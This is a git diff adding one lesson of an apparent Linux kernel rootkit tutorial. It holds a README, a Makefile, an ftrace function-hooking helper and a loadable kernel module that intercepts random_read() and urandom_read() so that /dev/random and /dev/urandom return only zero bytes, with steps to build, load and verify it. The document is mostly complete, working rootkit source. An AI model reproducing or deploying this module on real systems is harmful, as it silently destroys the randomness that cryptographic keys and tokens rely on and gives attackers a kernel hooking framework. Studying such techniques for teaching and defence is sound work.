diff --git a/3_RootkitTechniques/3.7_char_interfering/Makefile b/3_RootkitTechniques/3.7_char_interfering/Makefile new file mode 100644 index 0000000..1856805 --- /dev/null +++ b/3_RootkitTechniques/3.7_char_interfering/Makefile @@ -0,0 +1,7 @@ +obj-m += rootkit.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/3_RootkitTechniques/3.7_char_interfering/README.md b/3_RootkitTechniques/3.7_char_interfering/README.md new file mode 100644 index 0000000..aa716a8 --- /dev/null +++ b/3_RootkitTechniques/3.7_char_interfering/README.md @@ -0,0 +1,19 @@ +# Linux Kernel Hacking + +## 3.6: Interfering with `/dev/random` and `/dev/urandom` + +Both `/dev/random` and `/dev/urandom` are character devices defined in [`drivers/char/random.c`](https://github.com/torvalds/linux/blob/master/drivers/char/random.c). In particular, we care about the `random_fops` and `urandom_fops` structs which tell us which functions are to be called whenever a process tries to read/write/seek/etc the `random` and `urandom` "files". + +[Line 1989](https://github.com/torvalds/linux/blob/c70672d8d316ebd46ea447effadfe57ab7a30a50/drivers/char/random.c#L1989) onwards tells us that [`random_read()`](https://github.com/torvalds/linux/blob/c70672d8d316ebd46ea447effadfe57ab7a30a50/drivers/char/random.c#L1861) and [`urandom_read()`](https://github.com/torvalds/linux/blob/c70672d8d316ebd46ea447effadfe57ab7a30a50/drivers/char/random.c#L1842) are responsible. + +The function hooks only have to call the original read functions, fill a buffer with `0x00`, then copy back this buffer into userspace. All this is achieved with `copy_from_user()` and `copy_to_user()`. + +To use: +* Build with `make` +* Load with `insmod rootkit.ko` +* Read some bytes from `/dev/random` with `dd if=/dev/random bs=1 count=128 | xxd` +* Read some bytes from `/dev/urandom` with `dd if=/dev/urandom bs=1 count=128 | xxd` +* Observe that both reads return nothing but `0x00`! +* Unload with `rmmod rootkit` + +![random](./random.png "Interfering with char devices") diff --git a/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h b/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h new file mode 100644 index 0000000..5b5a392 --- /dev/null +++ b/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h @@ -0,0 +1,171 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = (_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.7_char_interfering/random.png b/3_RootkitTechniques/3.7_char_interfering/random.png new file mode 100644 index 0000000..5d265eb --- /dev/null +++ b/3_RootkitTechniques/3.7_char_interfering/random.png Binary files differ diff --git a/3_RootkitTechniques/3.7_char_interfering/rootkit.c b/3_RootkitTechniques/3.7_char_interfering/rootkit.c new file mode 100644 index 0000000..e8f2e0b --- /dev/null +++ b/3_RootkitTechniques/3.7_char_interfering/rootkit.c @@ -0,0 +1,126 @@ +#include +#include +#include +#include +#include + +#include "ftrace_helper.h" + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("TheXcellerator"); +MODULE_DESCRIPTION("Interfering with char devices"); +MODULE_VERSION("0.01"); + +/* Function pointer declarations for the real random_read() and urandom_read() */ +static asmlinkage ssize_t (*orig_random_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos); +static asmlinkage ssize_t (*orig_urandom_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos); + +/* Hook functions for random_read() and urandom_read() */ +static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) +{ + int bytes_read, i; + long error; + char *kbuf = NULL; + + /* Call the real random_read() file operation to set up all the structures */ + bytes_read = orig_random_read(file, buf, nbytes, ppos); + printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %d bytes\n", bytes_read); + + /* Allocate a kernel buffer that we will copy the random bytes into + * Note that copy_from_user() returns the number of bytes that could NOT be copied + */ + kbuf = kzalloc(bytes_read, GFP_KERNEL); + error = copy_from_user(kbuf, buf, bytes_read); + + if(error) + { + printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error); + kfree(kbuf); + return bytes_read; + } + + /* Fill kbuf with 0x00 */ + for ( i = 0 ; i < bytes_read ; i++ ) + kbuf[i] = 0x00; + + /* Copy the rigged kbuf back to userspace + * Note that copy_to_user() returns the number of bytes that could NOT be copied + */ + error = copy_to_user(buf, kbuf, bytes_read); + if (error) + printk(KERN_DEBUG "rootkit: %d bytes could not be copied into buf\n", error); + + kfree(kbuf); + return bytes_read; +} + +static asmlinkage ssize_t hook_urandom_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) +{ + int bytes_read, i; + long error; + char *kbuf = NULL; + + /* Call the real urandom_read() file operation to set up all the structures */ + bytes_read = orig_urandom_read(file, buf, nbytes, ppos); + printk(KERN_DEBUG "rootkit: intercepted call to /dev/urandom: %d bytes", bytes_read); + + /* Allocate a kernel buffer that we will copy the random bytes into. + * Note that copy_from_user() returns the number of bytes the could NOT be copied + */ + kbuf = kzalloc(bytes_read, GFP_KERNEL); + error = copy_from_user(kbuf, buf, bytes_read); + + if(error) + { + printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error); + kfree(kbuf); + return bytes_read; + } + + /* Fill kbuf with 0x00 */ + for ( i = 0 ; i < bytes_read ; i++ ) + kbuf[i] = 0x00; + + /* Copy the rigged kbuf back to userspace + * Note that copy_to_user() returns the number of bytes that could NOT be copied + */ + error = copy_to_user(buf, kbuf, bytes_read); + if (error) + printk(KERN_DEBUG "rootkit: %d bytes could not be copied into buf\n", error); + + kfree(kbuf); + return bytes_read; +} + +/* We are going to use the fh_install_hooks() function from ftrace_helper.h + * in the module initialization function. This function takes an array of + * ftrace_hook structs, so we initialize it with what we want to hook + * */ +static struct ftrace_hook hooks[] = { + HOOK("random_read", hook_random_read, &orig_random_read), + HOOK("urandom_read", hook_urandom_read, &orig_urandom_read), +}; + +/* Module initialization function */ +static int __init rootkit_init(void) +{ + /* Simply call fh_install_hooks() with hooks (defined above) */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; + + printk(KERN_INFO "rootkit: Loaded >:-)\n"); + + return 0; +} + +static void __exit rootkit_exit(void) +{ + /* Simply call fh_remove_hooks() with hooks (defined above) */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); + printk(KERN_INFO "rootkit: Unloaded :-(\n"); +} + +module_init(rootkit_init); +module_exit(rootkit_exit);